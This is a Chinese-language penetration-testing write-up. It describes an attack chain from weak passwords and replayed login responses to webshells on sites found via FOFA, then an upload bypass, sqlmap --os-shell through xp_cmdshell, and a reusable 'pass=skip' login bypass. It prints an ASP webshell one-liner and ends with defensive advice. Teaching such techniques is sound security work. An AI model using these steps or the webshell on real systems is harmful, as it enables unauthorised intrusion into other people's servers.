从某站点的弱口令泄露到通用GetShell
字数 1319 2025-08-24 20:49:22
从弱口令到通用GetShell渗透测试教学文档
1. 信息收集阶段
1.1 使用FOFA进行目标发现
- 使用FOFA搜索引擎寻找潜在目标站点
- 通过特定关键词或特征筛选可能存在漏洞的网站
1.2 弱口令测试
- 尝试常见弱口令组合(如admin/admin等)
- 成功发现存在弱口令的站点(账号密码未明确说明)
2. 登录框漏洞分析
2.1 初步测试
- 不急于直接进入后台,先分析登录框功能
- 使用Burp Suite拦截登录请求和响应
2.2 SQL注入尝试
- 测试登录参数是否存在SQL注入漏洞
- 发现存在过滤机制,注入尝试失败
2.3 响应包分析
- 拦截返回包发现"succeeded"值
- 复制整个成功登录的响应包
3. 横向渗透技术
3.1 响应包重放攻击
- 将复制的响应包用于其他站点
- 成功进入后台但报数据库错误
3.2 数据库名称泄露
- 分析响应包发现两处数据库名称调用
- 数据库名称明文出现在URL参数中
- 修改响应包中的数据库名称后成功登录
4. 文件上传GetShell
4.1 寻找上传点
- 在后台寻找文件上传功能(如头像上传)
- 发现前端仅限制图片格式
4.2 绕过上传限制
- 使用Burp Suite拦截上传请求
- 修改Content-Type或文件扩展名绕过限制
- 获取上传后的文件路径
4.3 连接WebShell
- 使用蚁剑连接上传的WebShell
- 成功获取服务器权限
5. 二次漏洞利用
5.1 SQL注入深入利用
- 发现另一处SQL注入点
- 使用sqlmap进行自动化测试
- 因为是SqlServer数据库,使用--os-shell参数
- 通过xp_cmdshell执行系统命令
5.2 写入WebShell
echo "<%eval request("10sec")%>" > D:\1.asp
- 利用已知路径写入新的WebShell
- 再次使用蚁剑连接
6. 登录绕过漏洞
6.1 参数发现
- 在抓包过程中发现pass=skip参数
- 该参数调用admin用户账号
6.2 登录绕过测试
- 在登录时直接使用skip作为密码
- 成功绕过登录验证
- 该漏洞在其他站点通用
7. 其他漏洞点
7.1 多漏洞利用
- 后台发现多处SQL注入和文件上传漏洞
- 利用方式与之前相同
8. 渗透后处理
8.1 清理痕迹
- 删除上传的WebShell文件
- 点到为止,不进行进一步破坏
8.2 漏洞报告
- 将所有发现提交至漏洞平台
9. 关键知识点总结
- 弱口令利用:始终是渗透测试中最常见的突破口
- 响应包分析:仔细检查响应内容可能发现关键信息
- 横向渗透:一个站点的漏洞可能适用于其他相似站点
- 数据库信息泄露:URL中的明文参数是常见的信息泄露点
- 文件上传绕过:前端限制可通过代理工具轻松绕过
- SqlServer特权利用:xp_cmdshell可获取系统级权限
- 参数篡改:非标准参数(如pass=skip)可能隐藏认证绕过漏洞
- 多漏洞组合:综合使用多种漏洞可提高渗透成功率
10. 防御建议
- 强制使用强密码策略
- 对敏感信息(如数据库名称)进行加密处理
- 实施严格的后端文件类型验证
- 禁用或严格限制xp_cmdshell等危险存储过程
- 避免在URL中传递敏感参数
- 实现完善的输入验证和过滤机制
- 定期进行安全审计和渗透测试
- 对认证流程进行严格测试,避免逻辑漏洞